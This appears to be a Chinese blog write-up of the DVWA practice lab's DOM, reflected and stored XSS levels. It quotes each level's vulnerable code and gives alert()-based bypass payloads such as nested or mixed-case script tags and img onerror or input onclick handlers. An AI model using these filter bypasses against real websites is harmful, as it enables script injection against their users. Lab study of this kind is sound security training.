往期博文:
DVWA靶场-Brute Force Source 暴力破解
DVWA靶场-Weak Session IDs 脆弱的Session
靶场环境搭建
目录
DOM XSS DOM型XSS
LOW DOM XSS
核心代码:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>
</select>
<input type="submit" value="Select">
</form>
</div>
DOM XSS 是通过修改页面的DOM 节点,会通过select 按钮创建新的DOM节点
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
这里的lang 变量没有进行任何过滤,就解码输出在option 标签中,直接攻击
?default=<script>alert(/XSS/)</script>
Medium DOM XSS
核心代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
这段代码会过滤default 提交参数中的”<script“ 字符串,stripos() 函数会匹配提交的参数中第一次出现”<script“,如果出现了,就会手动通过location 将URL 后面的参数修改为?default=English
绕过方法:
1、img标签
首先将option标签和select 标签闭合,
?default=English</option></select><img src=xx οnerrοr=alert(/XSS/)>
2、利用input 标签
?default=English<input οnclick=alert(/XSS/)>
High DOM XSS
核心代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
这里使用白名单过滤规则,凡是不在白名单中的,强制修改其为English
绕过方式
1、&
?default=English&</option></select><img src=xx οnerrοr=alert(/XSS/)>
?default=English&<input οnclick=alert(/XSS/)>
2、#
?default=English#</option></select><img src=xx οnerrοr=alert(/XSS/)>
?default=English#<input οnclick=alert(/XSS/)>
Impossible DOM XSS
核心代码:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script><option value="English">English</option><option value="French">French</option><option value="Spanish">Spanish</option><option value="German">German</option>
</select>
<input type="submit" value="Select">
</form>
</div>
分析代码可知,impossible 没有对输入的参数进行URL解码,这样自然就导致无法XSS
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
Reflected XSS 反射型XSS
Low Reflected XSS
核心代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
可以看出没有对变量name 的输入做任何的过滤,直接攻击
<script>alert(/XSS/)</script>
Medium Reflected XSS
核心代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里使用str_replace() 函数对name 变量中的敏感字符<script>进行过滤,使用正则匹配规则,将敏感字符使用' '替换。
绕过方法
1、嵌套
<sc<script>ript>alert(/XSS/)</script>
2、大小写
<Script>alert(/XSS/)</script>
3、尝试使用其他标签
<input οnclick=alert(/XSS/)>
<img src=xxx οnerrοr=alert(/XSS/)>
High Reflected XSS
核心代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里对<script>标签进行了严格的过滤,我们只能使用其他的标签进行弹窗
<input οnclick=alert(/XSS/)>
<img src=xxx οnerrοr=alert(/XSS/)>
Impossible Reflected XSS
核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible 级别使用htmlspecialchars()函数进行过滤,htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,输入到<pre>标签中,目前没有什么好的方法进行绕过
Stored XSS 存储型XSS
Low Stored XSS
核心代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysqli_real_escape_string($message );
// Sanitize name input
$name = mysqli_real_escape_string($name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
?>
trim
trim(string,charlist)
移除string 字符两侧的预定义字符
如果charlist 参数被省略,则移除字符
\0
null
\t
制表符
\n
换行
\x0B
垂直制表符
\r
回车
空格
stripslashes
stripslashes(string)
去除string 字符中的反斜杠\
mysql_real_escape_string
mysql_real_escape_string(string,connection)
转义sql 语句中使用的特殊字符,connection 参数可选,规定SQL 数据库连接,如果未规定,默认使用上一个连接的数据库
受影响的字符 \x00 \n \r \ ' " \x1a
这些函数只是对数据库进行了保护,并没有对XSS进行过滤,直接攻击
name xss
message <script>alert(/XSSLow/)</script>
Medium Stored XSS
核心代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysqli_real_escape_string($name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
?>
addslashes
addslashes(string)
在预定义字符前添加反斜杠
预定义字符 ' " \ NULL
strip_tags
strip_tags(string,allow)
去除字符串中的HTML、XML、PHP 的标签
allow 参数可选,规定允许这些标签
htmlspecialchars
htmlspecialchars(string,flags,character-set,double_encode)
把预定义的字符转换为HTML实体
预定义字符 & " ' < >
可以看到对message 变量过滤的很彻底,但是对name变量,只对其进行简单的过滤
但是我们的浏览器本地对name参数的输入的字符长度做了限制,这个简单,本地浏览器手动修改
也可以使用BP抓包,修改name参数值之后提交
别忘了!!!
绕过方法
1、嵌套
name <sc<script>ript>alert(/XSSMED1/)</script>
message XXX
2、大小写
name <Script>alert(/XSSMED2/)</script>
message XXX
3、其他标签
name <img src=xxx οnerrοr=alert(/XSSMED3/)>
message XXX
High Stored XSS
核心代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysqli_real_escape_string($name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
}
?>
分析代码,发现这里message 是没有希望了,继续看一下name,发现还有绕过的希望
name <img src=xxx οnerrοr=alert(/XSSHGH1/)>
message xxx
Impossible Stored XSS
核心代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysqli_real_escape_string($message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysqli_real_escape_string($name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
message和name变量都进行了严格的过滤,而且还检测了用户的token,没得办法!